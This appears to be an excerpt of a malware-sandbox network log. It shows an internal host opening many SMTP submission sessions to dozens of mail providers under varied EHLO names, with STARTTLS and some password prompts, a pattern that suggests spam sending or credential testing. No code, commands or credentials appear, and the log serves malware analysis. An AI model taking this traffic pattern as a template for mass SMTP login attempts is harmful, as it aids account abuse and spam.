May 19, 2024 17:27:40.401175022 CEST	587	49797	64.59.136.142	192.168.2.4	220 shw-obgw-4002a.ext.cloudfilter.net cmsmtp ESMTP server ready
May 19, 2024 17:27:40.435743093 CEST	587	49759	213.209.1.145	192.168.2.4	220 Ready to start TLS
May 19, 2024 17:27:40.464178085 CEST	587	49765	64.136.52.44	192.168.2.4	334 UGFzc3dvcmQ6
May 19, 2024 17:27:40.469099998 CEST	587	49764	64.136.52.44	192.168.2.4	334 UGFzc3dvcmQ6
May 19, 2024 17:27:40.495069027 CEST	49772	587	192.168.2.4	209.67.129.55	STARTTLS
May 19, 2024 17:27:40.495686054 CEST	49763	587	192.168.2.4	213.153.32.148	STARTTLS
May 19, 2024 17:27:40.550144911 CEST	587	49807	194.19.134.66	192.168.2.4	220 SMTP.DKA.mailcore.net MailCore SMTP Server ready
May 19, 2024 17:27:40.554936886 CEST	587	49804	80.91.55.62	192.168.2.4	220 smtp.interfree.it ESMTP Exim 4.94 Sun, 19 May 2024 17:27:40 +0200
May 19, 2024 17:27:40.569329023 CEST	587	49808	193.122.179.25	192.168.2.4	220 2.0.0 mail.windstream.net ESMTP ecelerity 4.4.1.20033 r(msys-ecelerity:tags/4.4.1.0^0) Sun, 19 May 2024 11:27:40 -0400
May 19, 2024 17:27:40.602353096 CEST	587	49767	62.149.128.200	192.168.2.4	220 2.0.0 Ready to start TLS
May 19, 2024 17:27:40.619987011 CEST	587	49777	194.126.4.84	192.168.2.4	250-bishop.idm.net.lb 250-8BITMIME 250-PIPELINING 250-CHUNKING 250-DSN 250-ENHANCEDSTATUSCODES 250-EXPN 250-HELP 250-XADR 250-XSTA 250-XCIR 250-XGEN 250-XLOOP 36EBA9AD951C1F2917D920B7E229D918 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=LOGIN PLAIN 250-NO-SOLICITING 250 SIZE 62177280
May 19, 2024 17:27:40.628577948 CEST	49783	587	192.168.2.4	129.213.13.252	STARTTLS
May 19, 2024 17:27:40.628765106 CEST	49795	587	192.168.2.4	213.209.1.145	EHLO smtp.virgilio.it
May 19, 2024 17:27:40.637135029 CEST	587	49802	198.164.44.72	192.168.2.4	220 smtpy.mta.ca ESMTP Exim 4.87_1 Sun, 19 May 2024 12:27:39 -0300
May 19, 2024 17:27:40.711570978 CEST	587	49772	209.67.129.55	192.168.2.4	220 Ready to start TLS
May 19, 2024 17:27:40.748172998 CEST	587	49783	129.213.13.252	192.168.2.4	220 2.0.0 continue
May 19, 2024 17:27:40.753072023 CEST	587	49763	213.153.32.148	192.168.2.4	220 TLS go ahead
May 19, 2024 17:27:40.812140942 CEST	49793	587	192.168.2.4	52.63.237.70	EHLO smtp.tpg.com.au
May 19, 2024 17:27:40.847124100 CEST	587	49795	213.209.1.145	192.168.2.4	250-smtp-42.iol.local hello [208.252.80.51], pleased to meet you 250-HELP 250-AUTH LOGIN PLAIN 250-SIZE 50000000 250-8BITMIME 250-STARTTLS 250 OK
May 19, 2024 17:27:40.883367062 CEST	587	49809	62.116.169.204	192.168.2.4	220 server6.wpwa.de ESMTP Postfix
May 19, 2024 17:27:40.883375883 CEST	587	49811	72.18.132.28	192.168.2.4	220-grimlock.secure-dns.net ESMTP Exim 4.96.2 #2 Sun, 19 May 2024 09:27:40 -0600 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
May 19, 2024 17:27:40.901376009 CEST	49787	587	192.168.2.4	193.122.179.25	STARTTLS
May 19, 2024 17:27:40.901429892 CEST	49797	587	192.168.2.4	64.59.136.142	EHLO smtp.shaw.ca
May 19, 2024 17:27:40.934919119 CEST	587	49817	195.130.132.10	192.168.2.4	220 laurent.telenet-ops.be bizsmtp ESMTP server ready
May 19, 2024 17:27:41.012373924 CEST	587	49787	193.122.179.25	192.168.2.4	220 2.0.0 continue
May 19, 2024 17:27:41.058070898 CEST	49807	587	192.168.2.4	194.19.134.66	EHLO smtp.citromail.hu
May 19, 2024 17:27:41.058259964 CEST	49804	587	192.168.2.4	80.91.55.62	EHLO mail.interfree.it
May 19, 2024 17:27:41.124751091 CEST	587	49797	64.59.136.142	192.168.2.4	250-shw-obgw-4002a.ext.cloudfilter.net hello [208.252.80.51], pleased to meet you 250-AUTH LOGIN PLAIN 250-SIZE 30000000 250-8BITMIME 250-STARTTLS 250 OK
May 19, 2024 17:27:41.143765926 CEST	587	49793	52.63.237.70	192.168.2.4	250-cmr-kakadu02.i-08c164aaf19e3f2e8 Hello smtp.tpg.com.au [208.252.80.51] 250-SIZE 83886080 250-8BITMIME 250-DSN 250-PIPELINING 250-PIPECONNECT 250-AUTH LOGIN PLAIN 250-CHUNKING 250-STARTTLS 250 HELP
May 19, 2024 17:27:41.183079004 CEST	49808	587	192.168.2.4	193.122.179.25	EHLO mail.windstream.net
May 19, 2024 17:27:41.183737040 CEST	49777	587	192.168.2.4	194.126.4.84	STARTTLS
May 19, 2024 17:27:41.183979988 CEST	49802	587	192.168.2.4	198.164.44.72	EHLO smtp.mta.ca
May 19, 2024 17:27:41.241581917 CEST	587	49820	168.0.132.203	192.168.2.4	220 smtp9.smtp.skymail.prv ESMTP
May 19, 2024 17:27:41.294667006 CEST	587	49807	194.19.134.66	192.168.2.4	250-SMTP.DKA.mailcore.net 250-PIPELINING 250-SIZE 31457280 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250-SMTPUTF8 250 CHUNKING
May 19, 2024 17:27:41.299432039 CEST	587	49808	193.122.179.25	192.168.2.4	250-smtp04.aqua.email-ash1.sync.lan says EHLO to 208.252.80.51:26867 250-STARTTLS 250-ENHANCEDSTATUSCODES 250-XDUMPCONTEXT 250-8BITMIME 250-AUTH=LOGIN 250-AUTH LOGIN 250 PIPELINING
May 19, 2024 17:27:41.324394941 CEST	587	49802	198.164.44.72	192.168.2.4	250-smtpy.mta.ca Hello smtp.mta.ca [208.252.80.51] 250-SIZE 62914560 250-8BITMIME 250-PIPELINING 250-STARTTLS 250 HELP
May 19, 2024 17:27:41.329602957 CEST	587	49804	80.91.55.62	192.168.2.4	250-smtp.interfree.it Hello mail.interfree.it [208.252.80.51] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-X_PIPE_CONNECT 250-AUTH LOGIN 250-CHUNKING 250-STARTTLS 250 HELP
May 19, 2024 17:27:41.377650976 CEST	587	49826	209.71.208.9	192.168.2.4	220 cmx-mtlrgo002.bell.net ESMTP Service ready
May 19, 2024 17:27:41.421634912 CEST	587	49777	194.126.4.84	192.168.2.4	220 2.5.0 Go ahead with TLS negotiation.
May 19, 2024 17:27:41.480154037 CEST	49795	587	192.168.2.4	213.209.1.145	STARTTLS
May 19, 2024 17:27:41.480226994 CEST	49811	587	192.168.2.4	72.18.132.28	EHLO mail.baritextilemills.com
May 19, 2024 17:27:41.592870951 CEST	49817	587	192.168.2.4	195.130.132.10	EHLO smtp.telenet.be
May 19, 2024 17:27:41.633367062 CEST	587	49811	72.18.132.28	192.168.2.4	250-grimlock.secure-dns.net Hello mail.baritextilemills.com [208.252.80.51] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
May 19, 2024 17:27:41.643040895 CEST	587	49836	193.122.179.25	192.168.2.4	220 2.0.0 mail.windstream.net ESMTP ecelerity 4.4.1.20033 r(msys-ecelerity:tags/4.4.1.0^0) Sun, 19 May 2024 11:27:41 -0400
May 19, 2024 17:27:41.643069983 CEST	587	49828	46.255.231.70	192.168.2.4	220 smtp.centrum.cz ESMTP server ready
May 19, 2024 17:27:41.683115959 CEST	587	49822	162.214.54.15	192.168.2.4	220-server.burns-group.com ESMTP Exim 4.96.2 #2 Sun, 19 May 2024 09:27:41 -0600 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
May 19, 2024 17:27:41.703030109 CEST	587	49795	213.209.1.145	192.168.2.4	220 Ready to start TLS
May 19, 2024 17:27:41.717935085 CEST	587	49832	64.59.136.142	192.168.2.4	220 shw-obgw-4003a.ext.cloudfilter.net cmsmtp ESMTP server ready
May 19, 2024 17:27:41.762590885 CEST	587	49837	213.209.1.145	192.168.2.4	220 smtp-42.iol.local smtp-42.iol.local ESMTP server ready
May 19, 2024 17:27:41.795478106 CEST	49797	587	192.168.2.4	64.59.136.142	STARTTLS
May 19, 2024 17:27:41.796089888 CEST	49793	587	192.168.2.4	52.63.237.70	STARTTLS
May 19, 2024 17:27:41.799978018 CEST	587	49817	195.130.132.10	192.168.2.4	501 EHLO smtp.telenet.be You are not smtp.telenet.be
May 19, 2024 17:27:41.810174942 CEST	587	49812	193.70.18.144	192.168.2.4	220 GARM-95G001 Sunday, May 19, 2024
May 19, 2024 17:27:41.909430027 CEST	587	49843	84.116.6.19	192.168.2.4	220 csmtp3-prd-nl1-vmo.edge.unified.services csmtp3-prd-nl1-vmo.edge.unified.services ESMTP server ready
May 19, 2024 17:27:41.909578085 CEST	587	49806	91.209.104.155	192.168.2.4	220 mx1-eu1.ppe-hosted.com - Welcome to PPE Hosted ESMTP Server
May 19, 2024 17:27:41.910145044 CEST	49820	587	192.168.2.4	168.0.132.203	EHLO smtp.ig.com.br
May 19, 2024 17:27:42.025178909 CEST	587	49847	168.0.132.203	192.168.2.4	220 smtp6.smtp.skymail.prv ESMTP
May 19, 2024 17:27:42.025222063 CEST	587	49797	64.59.136.142	192.168.2.4	220 Ready to start TLS
May 19, 2024 17:27:42.025662899 CEST	49807	587	192.168.2.4	194.19.134.66	STARTTLS
May 19, 2024 17:27:42.025778055 CEST	49808	587	192.168.2.4	193.122.179.25	STARTTLS
May 19, 2024 17:27:42.025837898 CEST	49802	587	192.168.2.4	198.164.44.72	STARTTLS
May 19, 2024 17:27:42.103785992 CEST	587	49793	52.63.237.70	192.168.2.4	220 TLS go ahead
May 19, 2024 17:27:42.151187897 CEST	587	49820	168.0.132.203	192.168.2.4	250-smtp9.smtp.skymail.prv 250-PIPELINING 250-SIZE 52428800 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
May 19, 2024 17:27:42.151218891 CEST	587	49808	193.122.179.25	192.168.2.4	220 2.0.0 continue
May 19, 2024 17:27:42.151247978 CEST	587	49854	175.135.252.193	192.168.2.4	220 mail.biglobe.ne.jp
May 19, 2024 17:27:42.151344061 CEST	49804	587	192.168.2.4	80.91.55.62	STARTTLS
May 19, 2024 17:27:42.151978016 CEST	49826	587	192.168.2.4	209.71.208.9	EHLO smtp.ns.sympatico.ca
May 19, 2024 17:27:42.201008081 CEST	587	49802	198.164.44.72	192.168.2.4	220 TLS go ahead
May 19, 2024 17:27:42.217771053 CEST	587	49807	194.19.134.66	192.168.2.4	220 2.0.0 Ready to start TLS
May 19, 2024 17:27:42.260545969 CEST	587	49823	202.124.241.204	192.168.2.4	220 smtp.netregistry.net
May 19, 2024 17:27:42.260603905 CEST	587	49819	91.136.8.56	192.168.2.4	220 mail266c50.megamailservers.eu ESMTP Sendmail 8.14.9/8.13.1; Sun, 19 May 2024 15:27:41 +0000
May 19, 2024 17:27:42.265527964 CEST	587	49829	103.11.85.79	192.168.2.4	220 s79.cyberspace.in ESMTP MSA MDaemon 21.0.4; Sun, 19 May 2024 20:57:41 +0530
May 19, 2024 17:27:42.279860973 CEST	587	49826	209.71.208.9	192.168.2.4	250-cmx-mtlrgo002.bell.net 250-DSN 250-8BITMIME 250-PIPELINING 250-AUTH=LOGIN 250-AUTH LOGIN PLAIN 250-DELIVERBY 300 250-SIZE 78643200 250 STARTTLS
May 19, 2024 17:27:42.279891968 CEST	587	49866	64.136.52.44	192.168.2.4	220 smtpout01.vgs.untd.com ESMTP
May 19, 2024 17:27:42.295175076 CEST	587	49851	194.185.246.171	192.168.2.4	220 mx.infinito.it ESMTP Postfix
May 19, 2024 17:27:42.300221920 CEST	587	49871	65.20.63.172	192.168.2.4	220 altprdrgo03.altice.prod.cloud.openwave.ai ESMTP Service ready
May 19, 2024 17:27:42.313136101 CEST	587	49870	35.214.83.212	192.168.2.4	220-uk1000.siteground.eu ESMTP #2 Sun, 19 May 2024 15:27:42 +0000 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
May 19, 2024 17:27:42.368961096 CEST	587	49804	80.91.55.62	192.168.2.4	220 TLS go ahead
May 19, 2024 17:27:42.436229944 CEST	587	49873	213.209.1.145	192.168.2.4	220 smtp-42.iol.local smtp-42.iol.local ESMTP server ready
May 19, 2024 17:27:42.549508095 CEST	587	49879	213.209.1.145	192.168.2.4	220 smtp-42.iol.local smtp-42.iol.local ESMTP server ready
May 19, 2024 17:27:42.549782991 CEST	49811	587	192.168.2.4	72.18.132.28	STARTTLS
May 19, 2024 17:27:42.549855947 CEST	49836	587	192.168.2.4	193.122.179.25	EHLO mail.windstream.net
May 19, 2024 17:27:42.549886942 CEST	49828	587	192.168.2.4	46.255.231.70	EHLO smtp.centrum.cz
May 19, 2024 17:27:42.550122023 CEST	49822	587	192.168.2.4	162.214.54.15	EHLO burns-group.com
May 19, 2024 17:27:42.644764900 CEST	49832	587	192.168.2.4	64.59.136.142	EHLO smtp.shaw.ca
May 19, 2024 17:27:42.698246002 CEST	587	49836	193.122.179.25	192.168.2.4	250-smtp02.aqua.email-ash1.sync.lan says EHLO to 208.252.80.51:26933 250-ENHANCEDSTATUSCODES 250-STARTTLS 250-XDUMPCONTEXT 250-8BITMIME 250-PIPELINING 250-AUTH=LOGIN 250 AUTH LOGIN
May 19, 2024 17:27:42.703308105 CEST	587	49811	72.18.132.28	192.168.2.4	220 TLS go ahead
May 19, 2024 17:27:42.723366022 CEST	587	49822	162.214.54.15	192.168.2.4	250-server.burns-group.com Hello burns-group.com [208.252.80.51] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
May 19, 2024 17:27:42.745760918 CEST	49837	587	192.168.2.4	213.209.1.145	EHLO smtp.virgilio.it
May 19, 2024 17:27:42.745834112 CEST	49817	587	192.168.2.4	195.130.132.10	HELO smtp.telenet.be
May 19, 2024 17:27:42.757149935 CEST	587	49828	46.255.231.70	192.168.2.4	250-gm-smtp11.centrum.cz 250-PIPELINING 250-SIZE 26214400 250-STARTTLS 250-AUTH PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250 CHUNKING
May 19, 2024 17:27:42.781452894 CEST	587	49888	34.160.63.108	192.168.2.4	220 Mailgun Influx ready
May 19, 2024 17:27:42.847376108 CEST	587	49887	213.209.1.145	192.168.2.4	220 smtp-42.iol.local smtp-42.iol.local ESMTP server ready
May 19, 2024 17:27:42.852077961 CEST	587	49863	46.182.21.2	192.168.2.4	220 mail.emailn.de Emailn.de SMTP service ready
May 19, 2024 17:27:42.860682964 CEST	49812	587	192.168.2.4	193.70.18.144	EHLO smtp.ilski.fr
May 19, 2024 17:27:42.877410889 CEST	587	49832	64.59.136.142	192.168.2.4	250-shw-obgw-4003a.ext.cloudfilter.net hello [208.252.80.51], pleased to meet you 250-AUTH LOGIN PLAIN 250-SIZE 30000000 250-8BITMIME 250-STARTTLS 250 OK
May 19, 2024 17:27:42.943552017 CEST	587	49864	84.2.43.67	192.168.2.4	220 smtp.freemail.hu ESMTP
May 19, 2024 17:27:42.948245049 CEST	587	49882	195.121.65.26	192.168.2.4	220 smtp.kpnmail.nl ESMTP
May 19, 2024 17:27:42.953459024 CEST	49843	587	192.168.2.4	84.116.6.19	EHLO smtp.virginmedia.com
May 19, 2024 17:27:42.953568935 CEST	49806	587	192.168.2.4	91.209.104.155	EHLO mx1-eu1.ppe-hosted.com
May 19, 2024 17:27:42.957834959 CEST	587	49817	195.130.132.10	192.168.2.4	501 HELO smtp.telenet.be You are not smtp.telenet.be
May 19, 2024 17:27:42.972556114 CEST	587	49837	213.209.1.145	192.168.2.4	250-smtp-42.iol.local hello [208.252.80.51], pleased to meet you 250-HELP 250-AUTH LOGIN PLAIN 250-SIZE 50000000 250-8BITMIME 250-STARTTLS 250 OK
May 19, 2024 17:27:42.994853020 CEST	587	49889	162.241.225.12	192.168.2.4	220-box5226.bluehost.com ESMTP Exim 4.96.2 #2 Sun, 19 May 2024 09:27:42 -0600 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
May 19, 2024 17:27:42.999607086 CEST	587	49849	107.180.41.245	192.168.2.4	220-a2plcpnl0310.prod.iad2.secureserver.net ESMTP Exim 4.96.2 #2 Sun, 19 May 2024 08:27:42 -0700 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
May 19, 2024 17:27:43.069766998 CEST	587	49848	101.0.69.102	192.168.2.4	220-dedicated-04.efront.com.au ESMTP Exim 4.96.2 #2 Mon, 20 May 2024 01:27:42 +1000 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
May 19, 2024 17:27:43.075654030 CEST	49847	587	192.168.2.4	168.0.132.203	EHLO smtp.ig.com.br
May 19, 2024 17:27:43.134265900 CEST	587	49903	194.19.134.66	192.168.2.4	220 SMTP.DKA.mailcore.net MailCore SMTP Server ready
May 19, 2024 17:27:43.140300035 CEST	587	49806	91.209.104.155	192.168.2.4	250-mx1-eu1.ppe-hosted.com 250-PIPELINING 250-SIZE 268435456 250-ETRN 250-STARTTLS 250-ENHANCEDSTATUSCODES 250-8BITMIME 250 DSN
May 19, 2024 17:27:43.154697895 CEST	587	49909	64.136.52.44	192.168.2.4	220 smtpout02.vgs.untd.com ESMTP
May 19, 2024 17:27:43.159337997 CEST	587	49843	84.116.6.19	192.168.2.4	250-csmtp3-prd-nl1-vmo.edge.unified.services hello [208.252.80.51], pleased to meet you 250-HELP 250-AUTH LOGIN PLAIN 250-SIZE 52000000 250-ENHANCEDSTATUSCODES 250-PIPELINING 250-8BITMIME 250-STARTTLS 250 OK
May 19, 2024 17:27:43.227790117 CEST	49820	587	192.168.2.4	168.0.132.203	STARTTLS
May 19, 2024 17:27:43.231627941 CEST	49854	587	192.168.2.4	175.135.252.193	EHLO mail.biglobe.ne.jp
May 19, 2024 17:27:43.343453884 CEST	587	49847	168.0.132.203	192.168.2.4	250-smtp6.smtp.skymail.prv 250-PIPELINING 250-SIZE 52428800 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
May 19, 2024 17:27:43.343509912 CEST	587	49914	129.159.94.43	192.168.2.4	220 2.0.0 mail.tds.net ESMTP ecelerity 4.4.1.20033 r(msys-ecelerity:tags/4.4.1.0^0) Sun, 19 May 2024 11:27:43 -0400
May 19, 2024 17:27:43.343936920 CEST	49823	587	192.168.2.4	202.124.241.204	EHLO smtp.breakdesign.com.au
May 19, 2024 17:27:43.343981981 CEST	49819	587	192.168.2.4	91.136.8.56	EHLO smtp.telering.at
May 19, 2024 17:27:43.379770041 CEST	587	49915	35.214.122.161	192.168.2.4	220-ukm10.siteground.biz ESMTP #2 Sun, 19 May 2024 15:27:43 +0000 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
May 19, 2024 17:27:43.427792072 CEST	587	49907	46.227.176.12	192.168.2.4	220 mail.ip-net.sk ESMTP Postfix (2.11.3)
May 19, 2024 17:27:43.445472002 CEST	587	49865	187.108.195.38	192.168.2.4	220-oa.oa123.com.br ESMTP Exim 4.95 #2 Sun, 19 May 2024 12:27:43 -0300 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
May 19, 2024 17:27:43.450826883 CEST	49826	587	192.168.2.4	209.71.208.9	STARTTLS
May 19, 2024 17:27:43.450875998 CEST	49866	587	192.168.2.4	64.136.52.44	EHLO smtp.netzero.net
May 19, 2024 17:27:43.451155901 CEST	49871	587	192.168.2.4	65.20.63.172	EHLO mail.optonline.net
May 19, 2024 17:27:43.451227903 CEST	49870	587	192.168.2.4	35.214.83.212	EHLO b9fire.co.uk
May 19, 2024 17:27:43.451226950 CEST	49851	587	192.168.2.4	194.185.246.171	EHLO smtp.infinito.it
May 19, 2024 17:27:43.464987040 CEST	587	49820	168.0.132.203	192.168.2.4	220 2.0.0 Ready to start TLS
May 19, 2024 17:27:43.508846045 CEST	587	49854	175.135.252.193	192.168.2.4	250-mail.biglobe.ne.jp 250-PIPELINING 250-8BITMIME 250-SIZE 104857600 250-DSN 250-AUTH PLAIN LOGIN CRAM-MD5 250 STARTTLS
May 19, 2024 17:27:43.613267899 CEST	587	49819	91.136.8.56	192.168.2.4	250-mail266c50.megamailservers.eu Hello [208.252.80.51], pleased to meet you 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-SIZE 52428800 250-DSN 250-AUTH LOGIN 250-STARTTLS 250-DELIVERBY 250 HELP
May 19, 2024 17:27:43.613312006 CEST	587	49826	209.71.208.9	192.168.2.4	220 Ready to start TLS
May 19, 2024 17:27:43.613347054 CEST	587	49920	84.116.6.22	192.168.2.4	220 csmtp4-prd-nl1-vmo.edge.unified.services csmtp4-prd-nl1-vmo.edge.unified.services ESMTP server ready
May 19, 2024 17:27:43.613437891 CEST	587	49917	94.100.132.8	192.168.2.4	220 mx-gate163-hz1.hornetsecurity.com
May 19, 2024 17:27:43.622355938 CEST	587	49866	64.136.52.44	192.168.2.4	250-smtpout01.vgs.untd.com Hello smtp.netzero.net pleased to meet you 250-SIZE 250-8BITMIME 250-AUTH LOGIN PLAIN CRAM-MD5 250 HELP
May 19, 2024 17:27:43.634036064 CEST	587	49870	35.214.83.212	192.168.2.4	250-uk1000.siteground.eu Hello b9fire.co.uk [208.252.80.51] 250-SIZE 83886080 250-8BITMIME 250-DSN 250-VRFY 250-AUTH LOGIN PLAIN 250-STARTTLS 250 HELP
May 19, 2024 17:27:43.640292883 CEST	49873	587	192.168.2.4	213.209.1.145	EHLO smtp.virgilio.it
May 19, 2024 17:27:43.645204067 CEST	587	49823	202.124.241.204	192.168.2.4	250-smtp-1.servers.netregistry.net Hello smtp.breakdesign.com.au [208.252.80.51] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-AUTH LOGIN PLAIN CRAM-MD5 250 HELP
May 19, 2024 17:27:43.684940100 CEST	587	49851	194.185.246.171	192.168.2.4	250-mx.infinito.it 250-PIPELINING 250-SIZE 30720000 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
May 19, 2024 17:27:43.715512991 CEST	587	49925	62.149.128.203	192.168.2.4	220 smtpdh07.ad.aruba.it Aruba Outgoing Smtp ESMTP server ready
May 19, 2024 17:27:43.744230986 CEST	49879	587	192.168.2.4	213.209.1.145	EHLO smtp.virgilio.it
May 19, 2024 17:27:43.789448023 CEST	587	49912	91.196.0.18	192.168.2.4	220-server18.hostbizua.kiev.ua ESMTP Exim 4.96.2 #2 Sun, 19 May 2024 18:27:43 +0300 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
May 19, 2024 17:27:43.855787992 CEST	587	49873	213.209.1.145	192.168.2.4	250-smtp-42.iol.local hello [208.252.80.51], pleased to meet you 250-HELP 250-AUTH LOGIN PLAIN 250-SIZE 50000000 250-8BITMIME 250-STARTTLS 250 OK
May 19, 2024 17:27:43.997176886 CEST	587	49879	213.209.1.145	192.168.2.4	250-smtp-42.iol.local hello [208.252.80.51], pleased to meet you 250-HELP 250-AUTH LOGIN PLAIN 250-SIZE 50000000 250-8BITMIME 250-STARTTLS 250 OK
May 19, 2024 17:27:43.997510910 CEST	49836	587	192.168.2.4	193.122.179.25	STARTTLS
May 19, 2024 17:27:43.997910976 CEST	49822	587	192.168.2.4	162.214.54.15	STARTTLS
May 19, 2024 17:27:44.057651997 CEST	49828	587	192.168.2.4	46.255.231.70	STARTTLS
May 19, 2024 17:27:44.110213995 CEST	587	49836	193.122.179.25	192.168.2.4	220 2.0.0 continue
May 19, 2024 17:27:44.158466101 CEST	49888	587	192.168.2.4	34.160.63.108	EHLO mxa.mailgun.org
May 19, 2024 17:27:44.158791065 CEST	49887	587	192.168.2.4	213.209.1.145	EHLO smtp.virgilio.it
May 19, 2024 17:27:44.158791065 CEST	49863	587	192.168.2.4	46.182.21.2	EHLO smtp.emailn.de
May 19, 2024 17:27:44.214390039 CEST	587	49822	162.214.54.15	192.168.2.4	220 TLS go ahead
May 19, 2024 17:27:44.269603968 CEST	49832	587	192.168.2.4	64.59.136.142	STARTTLS
May 19, 2024 17:27:44.324250937 CEST	587	49888	34.160.63.108	192.168.2.4	250-3daf45f48119 250-AUTH PLAIN LOGIN 250-SIZE 52428800 250-8BITMIME 250-SMTPUTF8 250-PIPELINING 250 STARTTLS
May 19, 2024 17:27:44.324269056 CEST	587	49901	103.224.30.254	192.168.2.4	220-103-24-35-174.cprapid.com ESMTP Exim 4.97.1 #2 Sun, 19 May 2024 22:27:44 +0700 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
May 19, 2024 17:27:44.324278116 CEST	587	49828	46.255.231.70	192.168.2.4	220 2.0.0 Ready to start TLS
May 19, 2024 17:27:44.362591982 CEST	587	49863	46.182.21.2	192.168.2.4	250-mail.emailn.de Pleased to meet you, 208.252.80.51 [208.252.80.51]
May 19, 2024 17:27:44.372315884 CEST	587	49887	213.209.1.145	192.168.2.4	250-smtp-42.iol.local hello [208.252.80.51], pleased to meet you 250-HELP 250-AUTH LOGIN PLAIN 250-SIZE 50000000 250-8BITMIME 250-STARTTLS 250 OK
May 19, 2024 17:27:44.372378111 CEST	587	49930	84.116.6.22	192.168.2.4	220 csmtp2-prd-nl1-vmo.edge.unified.services csmtp2-prd-nl1-vmo.edge.unified.services ESMTP server ready
May 19, 2024 17:27:44.378413916 CEST	49864	587	192.168.2.4	84.2.43.67	EHLO smtp.freemail.hu
May 19, 2024 17:27:44.378509045 CEST	49882	587	192.168.2.4	195.121.65.26	EHLO smtp.kpnmail.nl
May 19, 2024 17:27:44.378793955 CEST	49837	587	192.168.2.4	213.209.1.145	STARTTLS
May 19, 2024 17:27:44.417239904 CEST	587	49883	103.152.248.23	192.168.2.4	220-cpanel-572-syd.hostingww.com ESMTP Exim 4.97.1 #2 Mon, 20 May 2024 01:27:44 +1000 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
May 19, 2024 17:27:44.417269945 CEST	587	49932	194.19.134.66	192.168.2.4	220 SMTP.DKA.mailcore.net MailCore SMTP Server ready
May 19, 2024 17:27:44.468580961 CEST	49889	587	192.168.2.4	162.241.225.12	EHLO secure.midway.co.uk
May 19, 2024 17:27:44.468641996 CEST	49849	587	192.168.2.4	107.180.41.245	EHLO innovationedge.com
May 19, 2024 17:27:44.468708992 CEST	49848	587	192.168.2.4	101.0.69.102	EHLO mab.com.au
May 19, 2024 17:27:44.468935966 CEST	49903	587	192.168.2.4	194.19.134.66	EHLO smtp.citromail.hu
May 19, 2024 17:27:44.533550978 CEST	587	49832	64.59.136.142	192.168.2.4	220 Ready to start TLS
May 19, 2024 17:27:44.533582926 CEST	587	49863	46.182.21.2	192.168.2.4	250-SIZE 102400000 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-STARTTLS 250 8BITMIME
May 19, 2024 17:27:44.592468977 CEST	587	49849	107.180.41.245	192.168.2.4	250-a2plcpnl0310.prod.iad2.secureserver.net Hello innovationedge.com [208.252.80.51] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
May 19, 2024 17:27:44.592662096 CEST	587	49882	195.121.65.26	192.168.2.4	250-smtp.kpnmail.nl 250-PIPELINING 250-SIZE 52428800 250-STARTTLS 250-ENHANCEDSTATUSCODES 250 8BITMIME
May 19, 2024 17:27:44.592691898 CEST	587	49837	213.209.1.145	192.168.2.4	220 Ready to start TLS
May 19, 2024 17:27:44.592777967 CEST	49806	587	192.168.2.4	91.209.104.155	STARTTLS
May 19, 2024 17:27:44.593143940 CEST	49909	587	192.168.2.4	64.136.52.44	EHLO smtp.netzero.net
May 19, 2024 17:27:44.593276978 CEST	49843	587	192.168.2.4	84.116.6.19	STARTTLS
May 19, 2024 17:27:44.635458946 CEST	587	49934	65.20.63.172	192.168.2.4	220 altprdrgo02.altice.prod.cloud.openwave.ai ESMTP Service ready
May 19, 2024 17:27:44.640463114 CEST	587	49889	162.241.225.12	192.168.2.4	250-box5226.bluehost.com Hello secure.midway.co.uk [208.252.80.51] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
May 19, 2024 17:27:44.650115013 CEST	587	49864	84.2.43.67	192.168.2.4	250-smtp.freemail.hu 250-PIPELINING 250-SIZE 52428800 250-STARTTLS 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250-SMTPUTF8 250 CHUNKING
May 19, 2024 17:27:44.682266951 CEST	587	49903	194.19.134.66	192.168.2.4	250-SMTP.DKA.mailcore.net 250-PIPELINING 250-SIZE 31457280 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250-SMTPUTF8 250 CHUNKING
May 19, 2024 17:27:44.687688112 CEST	49847	587	192.168.2.4	168.0.132.203	STARTTLS
